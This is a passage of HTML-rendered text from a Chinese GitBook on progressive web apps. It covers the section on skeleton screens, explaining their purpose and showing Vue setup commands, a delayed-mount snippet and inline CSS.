                 \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >2.4 骨架屏</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x9AA8;&#x67B6;&#x5C4F;\"><b></b>&#x9AA8;&#x67B6;&#x5C4F;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x9AA8;&#x67B6;&#x5C4F;&#x957F;&#x4EC0;&#x4E48;&#x6837;\"><b></b>&#x9AA8;&#x67B6;&#x5C4F;&#x957F;&#x4EC0;&#x4E48;&#x6837;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x9AA8;&#x67B6;&#x5C4F;&#x80FD;&#x7528;&#x5728;&#x54EA;&#x91CC;\"><b></b>&#x9AA8;&#x67B6;&#x5C4F;&#x80FD;&#x7528;&#x5728;&#x54EA;&#x91CC;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;\"><b></b>&#x5728; Vue &#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8FDB;&#x9636;&#x4F18;&#x5316;&#xFF1A;&#x66F4;&#x5FEB;&#x7684;&#x5C55;&#x73B0;&#x9AA8;&#x67B6;&#x5C4F;\"><b></b>&#x8FDB;&#x9636;&#x4F18;&#x5316;&#xFF1A;&#x66F4;&#x5FEB;&#x7684;&#x5C55;&#x73B0;&#x9AA8;&#x67B6;&#x5C4F;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x73B0;&#x72B6;&#x5206;&#x6790;\"><b></b>&#x73B0;&#x72B6;&#x5206;&#x6790;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6D4F;&#x89C8;&#x5668;&#x505A;&#x4E86;&#x4EC0;&#x4E48;\"><b></b>&#x6D4F;&#x89C8;&#x5668;&#x505A;&#x4E86;&#x4EC0;&#x4E48;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x907F;&#x514D;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x7684;&#x52A0;&#x8F7D;&#x963B;&#x585E;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6E32;&#x67D3;\"><b></b>&#x907F;&#x514D;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x7684;&#x52A0;&#x8F7D;&#x963B;&#x585E;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6E32;&#x67D3;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8FD9;&#x6837;&#x5C31;&#x5B8C;&#x4E86;&#x5417;&#xFF1F;\"><b></b>&#x8FD9;&#x6837;&#x5C31;&#x5B8C;&#x4E86;&#x5417;&#xFF1F;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5982;&#x4F55;&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;\"><b></b>&#x5982;&#x4F55;&#x5728; Vue &#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x603B;&#x7ED3;\"><b></b>&#x603B;&#x7ED3;</a></li></ul></ul></div><a href=\"#&#x9AA8;&#x67B6;&#x5C4F;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x9AA8;&#x67B6;&#x5C4F;\"><a name=\"&#x9AA8;&#x67B6;&#x5C4F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9AA8;&#x67B6;&#x5C4F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9AA8;&#x67B6;&#x5C4F;\" class=\"plugin-anchor\" href=\"#&#x9AA8;&#x67B6;&#x5C4F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9AA8;&#x67B6;&#x5C4F;</h1>\n<p>&#x5728;&#x524D;&#x9762;&#x7684;&#x7AE0;&#x8282;&#xFF0C;&#x6211;&#x4EEC;&#x8BF4;&#x8FC7;&#xFF0C;&#x9996;&#x5C4F;&#x901F;&#x5EA6;&#x5BF9;&#x4E8E;&#x7528;&#x6237;&#x7559;&#x5B58;&#x7387;&#x81F3;&#x5173;&#x91CD;&#x8981;&#x3002;</p>\n<p>&#x5F88;&#x591A;&#x7AD9;&#x70B9;&#x90FD;&#x4F1A;&#x5728;&#x5B8C;&#x6210;&#x57FA;&#x672C;&#x529F;&#x80FD;&#x540E;&#xFF08;&#x6216;&#x8005;&#x540C;&#x65F6;&#xFF09;&#x8FDB;&#x884C;&#x6027;&#x80FD;&#x4F18;&#x5316;&#xFF0C;&#x5E38;&#x89C1;&#x7684;&#x6027;&#x80FD;&#x4F18;&#x5316;&#x624B;&#x6BB5;&#x5305;&#x62EC;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x5408;&#x5E76;&#xFF0C;&#x538B;&#x7F29;&#x6587;&#x4EF6;&#xFF0C;&#x4F7F;&#x7528; CDN&#xFF0C;&#x5305;&#x62EC;&#x4E0A;&#x4E00;&#x5C0F;&#x8282;&#x4ECB;&#x7ECD;&#x7684; App Shell &#x7B49;&#xFF0C;&#x8FD9;&#x4E9B;&#x7684;&#x786E;&#x80FD;&#x591F;&#x663E;&#x8457;&#x5730;&#x7F29;&#x77ED;&#x52A0;&#x8F7D;&#x65F6;&#x95F4;&#x3002;&#x4F46;&#x662F;&#x6211;&#x4EEC;&#x60F3;&#x8C61;&#x4E00;&#x4E0B;&#xFF0C;&#x5728;&#x9996;&#x6B21;&#x6253;&#x5F00;&#x65F6;&#xFF0C;&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#x6E32;&#x67D3;&#x5B8C;&#x6210;&#x4E4B;&#x524D;&#xFF0C;&#x9875;&#x9762;&#x57FA;&#x672C;&#x4E0A;&#x662F;&#x7A7A;&#x767D;&#x7684;&#xFF0C;&#x8FD9;&#x5BF9;&#x4E8E;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x662F;&#x975E;&#x5E38;&#x4E0D;&#x53CB;&#x597D;&#x7684;&#x3002;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x7528;&#x80FD;&#x591F;&#x5FEB;&#x901F;&#x6E32;&#x67D3;&#x7684;&#x9759;&#x6001;&#x56FE;&#x7247;/&#x6837;&#x5F0F;/&#x8272;&#x5757;&#x8FDB;&#x884C;&#x5360;&#x4F4D;&#xFF0C;&#x8BA9;&#x7528;&#x6237;&#x5BF9;&#x540E;&#x7EED;&#x4F1A;&#x6E32;&#x67D3;&#x7684;&#x5185;&#x5BB9;&#x6709;&#x4E00;&#x5B9A;&#x7684;&#x9884;&#x671F;&#xFF0C;&#x8FD9;&#x8981;&#x6BD4;&#x767D;&#x5C4F;&#x7B49;&#x5F85;&#x8981;&#x597D;&#x7684;&#x591A;&#xFF0C;&#x8FD9;&#x5C31;&#x662F;&#x9AA8;&#x67B6;&#x5C4F;&#x3002;&#x5982;&#x4E0A;&#x4E00;&#x8282;&#x7684;&#x7ED3;&#x5C3E;&#x6240;&#x8FF0;&#xFF0C;&#x5B83;&#x672C;&#x8D28;&#x4E0A;&#x5E76;&#x4E0D;&#x63D0;&#x5347;&#x9875;&#x9762;&#x7684;&#x52A0;&#x8F7D;&#x901F;&#x5EA6;&#xFF0C;&#x5374;&#x80FD;&#x63D0;&#x5347;&#x611F;&#x5B98;&#x4F53;&#x9A8C;&#xFF0C;&#x8BA9;&#x7F51;&#x9875;&#x201C;&#x770B;&#x8D77;&#x6765;&#x201D;&#x66F4;&#x5FEB;&#x3002;</p>\n<h2 id=\"&#x9AA8;&#x67B6;&#x5C4F;&#x957F;&#x4EC0;&#x4E48;&#x6837;\"><a name=\"&#x9AA8;&#x67B6;&#x5C4F;&#x957F;&#x4EC0;&#x4E48;&#x6837;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9AA8;&#x67B6;&#x5C4F;&#x957F;&#x4EC0;&#x4E48;&#x6837;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9AA8;&#x67B6;&#x5C4F;&#x957F;&#x4EC0;&#x4E48;&#x6837;\" class=\"plugin-anchor\" href=\"#&#x9AA8;&#x67B6;&#x5C4F;&#x957F;&#x4EC0;&#x4E48;&#x6837;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9AA8;&#x67B6;&#x5C4F;&#x957F;&#x4EC0;&#x4E48;&#x6837;</h2>\n<p>&#x60A8;&#x53EF;&#x80FD;&#x6CA1;&#x542C;&#x8BF4;&#x8FC7;&#x9AA8;&#x67B6;&#x5C4F;&#x8FD9;&#x4E2A;&#x540D;&#x5B57;&#xFF0C;&#x4F46;&#x5E94;&#x8BE5;&#x5F88;&#x65E9;&#x5C31;&#x5728;&#x5176;&#x4ED6; App &#x4E0A;&#x770B;&#x5230;&#x8FC7;&#xFF0C;&#x9AA8;&#x67B6;&#x5C4F;&#x5E38;&#x89C1;&#x7684;&#x79CD;&#x7C7B;&#x6709;&#x5217;&#x8868;&#x3001;&#x56FE;&#x7247;&#x548C;&#x4E24;&#x8005;&#x7684;&#x6DF7;&#x5408;&#x3002;</p>\n<p>&#x4E0B;&#x9762;&#x7684;&#x56FE;&#x662F;<a href=\"https://h5.ele.me/msite/\" target=\"_blank\">&#x997F;&#x4E86;&#x4E48; Web &#x7AD9;&#x70B9;</a> &#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6548;&#x679C;&#xFF0C;&#x8FD9;&#x79CD;&#x6548;&#x679C;&#x662F;&#x6BD4;&#x8F83;&#x5E38;&#x89C1;&#x7684;&#x7C7B;&#x578B;&#xFF0C;&#x5B83;&#x4F7F;&#x7528;&#x5404;&#x79CD;&#x5F62;&#x72B6;&#x7684;&#x8272;&#x5757;&#x6765;&#x6A21;&#x62DF;&#x56FE;&#x7247;&#x548C;&#x6587;&#x5B57;&#xFF0C;&#x6709;&#x4E9B;&#x56FE;&#x6807;&#x4E5F;&#x4F1A;&#x4F7F;&#x7528;&#x5706;&#x5F62;&#x8272;&#x5757;&#x3002;&#x4E3A;&#x4E86;&#x8FFD;&#x6C42;&#x6548;&#x679C;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x5728;&#x8272;&#x5757;&#x8868;&#x9762;&#x6DFB;&#x52A0;&#x52A8;&#x753B;&#x6548;&#x679C;&#xFF0C;&#x5982;&#x6CE2;&#x7EB9;&#xFF0C;&#x770B;&#x8D77;&#x6765;&#x5C31;&#x50CF;&#x5177;&#x6709; loading &#x6548;&#x679C;&#x7684;&#x9AA8;&#x67B6;&#x5C4F;&#x3002;</p>\n<p><img src=\"img/eleme.png\" alt=\"&#x997F;&#x4E86;&#x4E48; Web &#x7AD9;&#x70B9;&#x9AA8;&#x67B6;&#x5C4F;&#x6548;&#x679C;&#x56FE;\"></p>\n<p>&#x5728;&#x56FE;&#x7247;&#x5C45;&#x591A;&#x7684;&#x7AD9;&#x70B9;&#xFF0C;&#x4F7F;&#x7528;&#x4F4E;&#x50CF;&#x7D20;&#x7684;&#x56FE;&#x7247;&#x8FDB;&#x884C;&#x5360;&#x4F4D;&#x4E5F;&#x662F;&#x4E00;&#x4E2A;&#x4E0D;&#x9519;&#x7684;&#x9009;&#x62E9;&#xFF0C;&#x56FE;&#x7247;&#x914D;&#x8272;&#x53CA;&#x53D8;&#x5316;&#x548C;&#x539F;&#x56FE;&#x76F8;&#x8FD1;&#x5373;&#x53EF;&#xFF0C;&#x5982;&#x679C;&#x89C9;&#x5F97;&#x751F;&#x6210;&#x4F4E;&#x50CF;&#x7D20;&#x7684;&#x56FE;&#x7247;&#x6210;&#x672C;&#x8F83;&#x9AD8;&#xFF0C;&#x53EF;&#x4EE5;&#x964D;&#x7EA7;&#x4F7F;&#x7528;&#x7EAF;&#x8272;&#x8272;&#x5757;&#x4EE3;&#x66FF;&#xFF0C;&#x4F46;&#x8272;&#x5757;&#x7684;&#x989C;&#x8272;&#x6700;&#x597D;&#x548C;&#x56FE;&#x7247;&#x4E3B;&#x4F53;&#x989C;&#x8272;&#x76F8;&#x4F3C;&#xFF0C;&#x5982;&#x679C;&#x89C9;&#x5F97;&#x8FD9;&#x4E2A;&#x6210;&#x672C;&#x8FD8;&#x662F;&#x5F88;&#x9AD8;&#xFF0C;&#x90A3;&#x4E48;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x91C7;&#x7528;&#x4E0A;&#x9762;&#x4F8B;&#x5B50;&#x4E2D;&#x7EDF;&#x4E00;&#x989C;&#x8272;&#x7684;&#x8272;&#x5757;&#x3002;</p>\n<p><img src=\"img/image_skeleton.png\" alt=\"&#x4F4E;&#x50CF;&#x7D20;&#x56FE;&#x7247;&#x793A;&#x4F8B;\"></p>\n<p>&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x7CBE;&#x9AD3;&#xFF0C;&#x5E76;&#x4E0D;&#x662F;&#x7528;&#x4EC0;&#x4E48;&#x6765;&#x5360;&#x4F4D;&#xFF0C;&#x800C;&#x662F;&#x65E0;&#x8BBA;&#x4EC0;&#x4E48;&#x5185;&#x5BB9;&#x5360;&#x4F4D;&#xFF0C;&#x4E00;&#x5B9A;&#x8981;&#x4FDD;&#x6301;&#x6E32;&#x67D3;&#x524D;&#x548C;&#x6E32;&#x67D3;&#x540E;&#x7ED3;&#x6784;&#x76F8;&#x4F3C;&#xFF0C;&#x4E0D;&#x80FD;&#x5DEE;&#x8DDD;&#x592A;&#x5927;&#xFF0C;&#x6700;&#x597D;&#x4FDD;&#x6301;&#x8272;&#x5757;/&#x56FE;&#x7247;&#x95F4;&#x8DDD;&#x4E00;&#x6837;&#xFF0C;&#x907F;&#x514D;&#x9875;&#x9762;&#x6E32;&#x67D3;&#x540E;&#x5185;&#x5BB9;&#x8DF3;&#x52A8;&#x3002;</p>\n<h2 id=\"&#x9AA8;&#x67B6;&#x5C4F;&#x80FD;&#x7528;&#x5728;&#x54EA;&#x91CC;\"><a name=\"&#x9AA8;&#x67B6;&#x5C4F;&#x80FD;&#x7528;&#x5728;&#x54EA;&#x91CC;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9AA8;&#x67B6;&#x5C4F;&#x80FD;&#x7528;&#x5728;&#x54EA;&#x91CC;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9AA8;&#x67B6;&#x5C4F;&#x80FD;&#x7528;&#x5728;&#x54EA;&#x91CC;\" class=\"plugin-anchor\" href=\"#&#x9AA8;&#x67B6;&#x5C4F;&#x80FD;&#x7528;&#x5728;&#x54EA;&#x91CC;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9AA8;&#x67B6;&#x5C4F;&#x80FD;&#x7528;&#x5728;&#x54EA;&#x91CC;</h2>\n<p>&#x73B0;&#x5728;&#x7684; Web &#x5E94;&#x7528;&#xFF0C;&#x4ECE;&#x67B6;&#x6784;&#x4E0A;&#x6765;&#x8BF4;&#x5206;&#x4E3A;&#x524D;&#x7AEF;&#x6E32;&#x67D3;(CSR)&#x548C;&#x540E;&#x7AEF;&#x6E32;&#x67D3;(SSR)&#x4E24;&#x79CD;&#xFF0C;&#x9AA8;&#x67B6;&#x5C4F;&#x9002;&#x7528;&#x4E8E;&#x524D;&#x7AEF;&#x6E32;&#x67D3;&#x7684;&#x9875;&#x9762;&#xFF0C;&#x800C;&#x540E;&#x7AEF;&#x6E32;&#x67D3;&#x7684;&#x9875;&#x9762;&#x6E32;&#x67D3;&#x9996;&#x5C4F;&#x65F6;&#x6240;&#x6709;&#x5185;&#x5BB9;&#x90FD;&#x5DF2;&#x7ECF;&#x5B58;&#x5728;&#x4E86;&#xFF0C;&#x56E0;&#x6B64;&#x65E0;&#x9700;&#x9AA8;&#x67B6;&#x5C4F;&#x3002;&#x4F46;&#x662F;&#xFF0C;&#x5373;&#x4F7F;&#x662F;&#x540E;&#x7AEF;&#x6E32;&#x67D3;&#x7684;&#x9875;&#x9762;&#x6709;&#x65F6;&#x4E5F;&#x4F1A;&#x5B58;&#x5728;&#x524D;&#x7AEF;&#x6E32;&#x67D3;&#x7684;&#x533A;&#x57DF;&#xFF0C;&#x6BD4;&#x5982;&#x5217;&#x8868;&#x7684;&#x52A0;&#x8F7D;&#xFF0C;&#x53EA;&#x8981;&#x662F;&#x7528;&#x5230; JavaScript &#x6765;&#x6E32;&#x67D3;&#x5185;&#x5BB9;&#x7684;&#x5730;&#x65B9;&#xFF0C;&#x90FD;&#x53EF;&#x4EE5;&#x9009;&#x62E9;&#x6027;&#x7684;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;&#x6765;&#x5360;&#x4F4D;&#x3002;</p>\n<p>&#x7531;&#x4E8E;&#x8FD1;&#x51E0;&#x5E74; Angular/React/Vue &#x7684;&#x63A8;&#x51FA;&#xFF0C;&#x524D;&#x7AEF;&#x6E32;&#x67D3;&#x7684;&#x7AD9;&#x70B9;&#x8D8A;&#x6765;&#x8D8A;&#x591A;&#xFF0C;&#x5B83;&#x4EEC;&#x8BA9;&#x5F00;&#x53D1;&#x590D;&#x6742; Web App &#x53D8;&#x7684;&#x5F88;&#x7B80;&#x5355;&#x3002;&#x5B83;&#x4EEC;&#x7684;&#x6D41;&#x884C;&#x4E5F;&#x5927;&#x5927;&#x63D0;&#x9AD8;&#x4E86; App Shell &#x548C;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x666E;&#x9002;&#x6027;&#xFF0C;&#x5927;&#x90E8;&#x5206;&#x6B64;&#x7C7B;&#x7AD9;&#x70B9;&#x90FD;&#x53EF;&#x4EE5;&#x91C7;&#x7528;&#x8FD9;&#x79CD;&#x6A21;&#x5F0F;&#x3002;</p>\n<h2 id=\"&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;\"><a name=\"&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;\" class=\"plugin-anchor\" href=\"#&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5728; Vue &#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;</h2>\n<p>&#x6211;&#x4EEC;&#x4EE5; Vue &#x5F00;&#x53D1;&#x7684;&#x5355;&#x9875;&#x5E94;&#x7528;&#x4E3A;&#x4F8B;&#xFF0C;&#x5728;&#x5176;&#x5B83;&#x6846;&#x67B6;&#x4E0A;&#xFF0C;&#x5B9E;&#x73B0;&#x601D;&#x8DEF;&#x662F;&#x4E00;&#x81F4;&#x7684;&#x3002;&#x5728;&#x8FD9;&#x4E2A;&#x793A;&#x4F8B;&#x4E2D;&#xFF0C;&#x4E3A;&#x4E86;&#x65B9;&#x4FBF;&#x8C03;&#x8BD5;&#xFF0C;&#x7B14;&#x8005;&#x5C06; Service Worker &#x7684;&#x6CE8;&#x518C;&#x903B;&#x8F91;&#x5220;&#x9664;&#x4E86;&#x3002;</p>\n<p>&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x4E0B;&#x8F7D;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x5E76;&#x542F;&#x52A8;&#xFF0C;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># &#x4ECE; GitHub &#x4E0B;&#x8F7D;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730; pwa-book-demo &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">git</span> clone https://github.com/lavas-project/pwa-book-demo.git\n\n<span class=\"token comment\"># &#x8FDB;&#x5165;&#x5230; chapter02/appskeleton-01 &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">cd</span> chapter02/appskeleton-01\n\n<span class=\"token comment\"># &#x5B89;&#x88C5; npm &#x4F9D;&#x8D56;</span>\n$ <span class=\"token function\">npm</span> <span class=\"token function\">install</span>\n\n<span class=\"token comment\"># &#x542F;&#x52A8; chapter02 appskeleton-01 &#x793A;&#x4F8B;</span>\n$ <span class=\"token function\">npm</span> run dev\n</code></pre>\n<p>&#x4E3A;&#x4E86;&#x65B9;&#x4FBF;&#x8C03;&#x8BD5;&#xFF0C;&#x6211;&#x4EEC;&#x5C06; <code>src/main.js</code> &#x4E2D; Vue &#x5B9E;&#x4F8B;&#x7684;&#x6302;&#x8F7D;&#x65F6;&#x95F4;&#x63A8;&#x8FDF;&#x4E86; 2s&#xFF0C;&#x5728;&#x8FD9;&#x671F;&#x95F4;&#xFF0C;&#x6211;&#x4EEC;&#x80FD;&#x770B;&#x5230;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6548;&#x679C;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// src/main.js</span>\n<span class=\"token keyword\">const</span> app <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Vue</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  router<span class=\"token punctuation\">,</span>\n  components<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span> App <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  template<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&lt;App/&gt;&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\nrouter<span class=\"token punctuation\">.</span><span class=\"token function\">onReady</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5C06; mount &#x65F6;&#x95F4;&#x5EF6;&#x540E; 2s&#xFF0C;&#x4FBF;&#x4E8E;&#x67E5;&#x770B;&#x6548;&#x679C;</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> app<span class=\"token punctuation\">.</span><span class=\"token function\">$mount</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;#app&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x7136;&#x540E;&#xFF0C;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x5728; <code>index.html</code> &#x4E2D;&#x6DFB;&#x52A0;&#x9AA8;&#x67B6;&#x5C4F;&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token comment\">&lt;!-- skeleton &#x7684;&#x5185;&#x8054;&#x6837;&#x5F0F; --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n  <span class=\"token selector\">body</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">margin</span><span class=\"token punctuation\">:</span> 0<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token selector\">.skeleton</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">text-align</span><span class=\"token punctuation\">:</span> center<span class=\"token punctuation\">;</span>\n    <span class=\"token property\">padding-top</span><span class=\"token punctuation\">:</span> 60px<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token selector\">.skeleton-bottom</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">position</span><span class=\"token punctuation\">:</span> fixed<span class=\"token punctuation\">;</span>\n    <span class=\"token property\">bottom</span><span class=\"token punctuation\">:</span> 0<span class=\"token punctuation\">;</span>\n    <span class=\"token property\">left</span><span class=\"token punctuation\">:</span> 0<span class=\"token punctuation\">;</span>\n    <span class=\"token property\">right</span><span class=\"token punctuation\">:</span> 0<span class=\"token punctuation\">;</span>\n    <span class=\"token property\">height</span><span class=\"token punctuation\">:</span> 56px<span class=\"token punctuation\">;</span>\n    <span class=\"token property\">box-shadow</span><span class=\"token punctuation\">:</span> 0 3px 14px 2px <span class=\"token function\">rgba</span><span class=\"token punctuation\">(</span>0<span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">,</span> .12<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token property\">display</span><span class=\"token punctuation\">:</span> flex<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n\n...\n\n<span 